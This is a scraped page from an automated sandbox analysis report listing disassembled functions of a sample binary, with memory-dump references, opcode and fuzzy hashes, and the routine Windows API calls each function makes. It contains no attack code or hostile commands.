Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a858b4c206aa64c55798b0b944d7403c59687b84d8292887d9211ef4847ea3ad
Instruction ID: 68fd61949736ec3ccc2b15dffb9fecb7255db8eb5bc7ee3d67d126645d193f00
Opcode Fuzzy Hash: a858b4c206aa64c55798b0b944d7403c59687b84d8292887d9211ef4847ea3ad
Instruction Fuzzy Hash: 6EF0123600161DFBCF225E91AD00EDF3B69AF09360F008426FA5555151C3BA99E1ABAA

Function 0040B73E Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000B6F8), ref: 0040B743

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 6798a109f5c0d4de69ec978b78fc1cec978674ad890f6015beeb9d4308217fed
Instruction ID: 549cd66396f989d938aa859fc22f846a20bf5110e808de4a8e41dae01424f86b
Opcode Fuzzy Hash: 6798a109f5c0d4de69ec978b78fc1cec978674ad890f6015beeb9d4308217fed
Instruction Fuzzy Hash: C8A022B8003300CBC3000F22AC088C03A20F2C0302FA000FAE020822A0CF380288BECE

Function 0040B750 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0040B755

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: dce7b9e44c970f058dcd0f13d858a6217287ef02c4f52d4fa1da75dd2eaf662e
Instruction ID: 62982c1aab80247ca5e70841fbba4bf1ab81de76644a0c9f4eb27edccbe0ac37
Opcode Fuzzy Hash: dce7b9e44c970f058dcd0f13d858a6217287ef02c4f52d4fa1da75dd2eaf662e
Instruction Fuzzy Hash:

Function 0046F420 Relevance: .3, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baf9ffabccb5c2f00103815f1b663145b0a53ca0d1808a03094f98c6e100de23
Instruction ID: 2228eb54a8fa051610ef36468cb8c5a1244cd1597c7355430fc9c4935c70c595
Opcode Fuzzy Hash: baf9ffabccb5c2f00103815f1b663145b0a53ca0d1808a03094f98c6e100de23
Instruction Fuzzy Hash: 5AB16B32210604DFD714CF28D48AA657BA0FF04364F258669E8DACF3A1D739ED96CB46

Function 0040A035 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc60ecf50bd115ca0c6ea2745a91e2bccda0b72c85d336beea95e2ba67d1c3a9
Instruction ID: ee89752ee953d55a7d4f8a7b4bbff385acf67d9d86145b2b0a8232d3ade8fe18
Opcode Fuzzy Hash: fc60ecf50bd115ca0c6ea2745a91e2bccda0b72c85d336beea95e2ba67d1c3a9
Instruction Fuzzy Hash: E1B14A3590030ADFDB15CF04C5D0AA9BBA1BB59318F24C1AED85A6F382C735EA56CB94

Function 004341F3 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc60ecf50bd115ca0c6ea2745a91e2bccda0b72c85d336beea95e2ba67d1c3a9
Instruction ID: 5a9055d4bc957726745006433161bb837572d10696cb91aa4313138c548775dc
Opcode Fuzzy Hash: fc60ecf50bd115ca0c6ea2745a91e2bccda0b72c85d336beea95e2ba67d1c3a9
Instruction Fuzzy Hash: 50B15C35A002069FDB15CF04C5D0AE9BBA1FB98318F1481AED85A5B742C735FA42CB90

Function 004377ED Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 665a0a1789e17c7cbc0d60e1402d71fd08901ee099b1e2506cdc044e60671f89
Instruction ID: 868e88a554146dfbf22866b500f81a5d82aadc70f5f4095363cc39ae3217dcf8
Opcode Fuzzy Hash: 665a0a1789e17c7cbc0d60e1402d71fd08901ee099b1e2506cdc044e60671f89
Instruction Fuzzy Hash: 145128B1D08249DFDB24CFA9C8447EEBBF5BB08304F24A06BE550E7241D3799A41CB99

Function 00404190 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f03a228c2b56c4f95d1f5865b38cc489e62fc3c681defa46db87acfe622fc57
Instruction ID: 7be98813775011fce441ab20e5d49f15ab54ce0ea8283154b5596088ae2335cc
Opcode Fuzzy Hash: 9f03a228c2b56c4f95d1f5865b38cc489e62fc3c681defa46db87acfe622fc57
Instruction Fuzzy Hash: 5CE04FB1A046099BEF10CF5BED407D5B7FCEB48314F5082AAE90CD3350F2769D508A48

Function 00468E46 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d52fb2acaea47cc711755e886856fc2c512988177476dc3ebe6c672e5574d84
Instruction ID: 735ff9fd19a7f2f9c94d0a8343d7f1ce7291aec65d0e9bfe1073404d36322065
Opcode Fuzzy Hash: 8d52fb2acaea47cc711755e886856fc2c512988177476dc3ebe6c672e5574d84
Instruction Fuzzy Hash: FBE08C72A11228EBCB14DB89C904D8AF3FCEB49B44F1101ABB502E3210E678DE00CBD5

Function 00467C2B Relevance: .0, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3aeb5778afd3441c3db0d6b1b64bb14dbf08fcbc3ffc9a4ce5847d62598719d
Instruction ID: 3e0ea32310bb432c947d6281881a5f5ab1c4bbc75f6cd591f94f77eff6d16e76
Opcode Fuzzy Hash: e3aeb5778afd3441c3db0d6b1b64bb14dbf08fcbc3ffc9a4ce5847d62598719d
Instruction Fuzzy Hash: B4E0B631004218EBEB116B55CE8DD493F69EB44796B00441AFA0986231EB3AED92DA66

Function 004047F3 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0d2b3fcfbd605ff99fe5bcf528c7bc70ed8dfa93c9f4ba12c4b7282028cb00e
Instruction ID: 1e1406d4bd33ead70343f93179d4051bf70234ff74054d9c8a8b937e07d4c013
Opcode Fuzzy Hash: d0d2b3fcfbd605ff99fe5bcf528c7bc70ed8dfa93c9f4ba12c4b7282028cb00e
Instruction Fuzzy Hash: 5DD0A7F195516123D22869582C067E7A6E44B83318F05983FFE4572253D67CC886859E

Function 00410298 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 170stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00413B7C: TlsGetValue.KERNEL32(?,?,00000000,00413FBA,0041357D,00413FD6,0040EAE0,004125FA,?,00000000,?,0040E4D5,00000000,00000000,00000000,00000000), ref: 00413BBB

CallNextHookEx.USER32(?,00000003,?,?), ref: 004102C2
GetClassLongA.USER32(?,000000E6), ref: 00410309
GlobalGetAtomNameA.KERNEL32(?,?,00000005), ref: 00410335
lstrcmpiA.KERNEL32(?,ime), ref: 00410344
GetWindowLongA.USER32(?,000000FC), ref: 004103B7
SetWindowLongA.USER32(?,000000FC,00000000), ref: 004103D8

Strings

ime, xrefs: 0041033E
AfxOldWndProc423, xrefs: 00410419, 0041041E, 00410429, 00410431, 0041043A

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Long$Window$AtomCallClassGlobalHookNameNextValuelstrcmpi
String ID: AfxOldWndProc423$ime
API String ID: 3731301195-104836986
Opcode ID: cf722343a142e35f70d8a2a30f0d06b2739180426e81a272ef393d778848cb97
Instruction ID: 7093e3ddbc9d6b1c50d6762e5a3c7882d0a421b597ac64ca7f740d017cc07bf7
Opcode Fuzzy Hash: cf722343a142e35f70d8a2a30f0d06b2739180426e81a272ef393d778848cb97
Instruction Fuzzy Hash: 06519031500618EBCB219F64DC48BEF7B68FF44365F10816AF915A7291D778D9C1CB98

Function 00404EE0 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(USER32,?,?,?,00405019), ref: 00404F02
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 00404F1A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 00404F2B
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 00404F3C
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 00404F4D
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 00404F5E
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 00404F6F

Strings

MonitorFromWindow, xrefs: 00404F25
MonitorFromRect, xrefs: 00404F36
GetSystemMetrics, xrefs: 00404F14
GetMonitorInfoA, xrefs: 00404F69
EnumDisplayMonitors, xrefs: 00404F58
MonitorFromPoint, xrefs: 00404F47
USER32, xrefs: 00404EFD

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-2376520503
Opcode ID: 6c9dcf204d92e225202a2ef9e0d01861405f0a53cd4237f96b628668da6ab87c
Instruction ID: 3469998393e763bf9c43dbcefd12358f5ae79a83af0c70f77b409dc9e823af03
Opcode Fuzzy Hash: 6c9dcf204d92e225202a2ef9e0d01861405f0a53cd4237f96b628668da6ab87c
Instruction Fuzzy Hash: 271166B1A48742DBC3918F259CC0DAAFBE4B388718360043FD608E6290F7386C859F5C

Function 00411BBA Relevance: 19.7, APIs: 13, Instructions: 174windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F9BF: GetWindowLongA.USER32(?,000000F0), ref: 0040F9CB

GetParent.USER32(?), ref: 00411BE5
SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 00411C08
GetWindowRect.USER32(?,?), ref: 00411C21
GetWindowLongA.USER32(00000000,000000F0), ref: 00411C34
CopyRect.USER32(?,?), ref: 00411C81
CopyRect.USER32(?,?), ref: 00411C8B
GetWindowRect.USER32(00000000,?), ref: 00411C94
CopyRect.USER32(?,?), ref: 00411CB0

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID:
API String ID: 808654186-0
Opcode ID: a4cb4ef3e35bab6e2f574d18d2c3895895506846003c99f4516931c04f4fdac2
Instruction ID: 854e96b4748a263016c03970e45d4601db0849ba48bdae641840f189e0f6b9ba
Opcode Fuzzy Hash: a4cb4ef3e35bab6e2f574d18d2c3895895506846003c99f4516931c04f4fdac2
Instruction Fuzzy Hash: 7C51B772900609AFDB14DBA8DD85EEEBBBDAF44314F144126FA11F3290E738ED458B58

Function 00407842 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00405468), ref: 0040785D
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00405468), ref: 00407871
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00405468), ref: 0040789D
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00405468), ref: 004078D5
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00405468), ref: 004078F7
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00405468), ref: 00407910
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00405468), ref: 00407923
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00407961

Strings

hT@, xrefs: 0040790B, 004078FD

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID: hT@
API String ID: 1823725401-294558282
Opcode ID: fc007b292e00d8d7cf72595f81e1e90328ec70650be5f39808d792f7fe7e8548
Instruction ID: 4d23f527c0310414aba1cbc40c46fb1fced318030abec8edc3255808a57baf9d
Opcode Fuzzy Hash: fc007b292e00d8d7cf72595f81e1e90328ec70650be5f39808d792f7fe7e8548
Instruction Fuzzy Hash: 313112F3D0C2156FE7213B795CC897B769CE685354725053BF941E3380E639AC4186AB

Function 0040B9AB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,00416844,00000001,-00000030,00000003,00000000,-00000030,?,00000000,00405659,00000000,00403C6A,00000000), ref: 0040B9EA
GetStringTypeA.KERNEL32(00000000,00000001,00416840,00000001,?,?,00000000,00405659,00000000,00403C6A,00000000), ref: 0040BA04
GetStringTypeA.KERNEL32(-00000030,00000000,00000000,YV@,00000000,00000003,00000000,-00000030,?,00000000,00405659,00000000,00403C6A,00000000), ref: 0040BA38
MultiByteToWideChar.KERNEL32(?,?,00000000,YV@,00000000,00000000,00000003,00000000,-00000030,?,00000000,00405659,00000000,00403C6A,00000000), ref: 0040BA70
MultiByteToWideChar.KERNEL32(?,00000001,00000000,00000000,?,?,?,?,?,?,00000000,00405659,00000000,00403C6A,00000000), ref: 0040BAC6
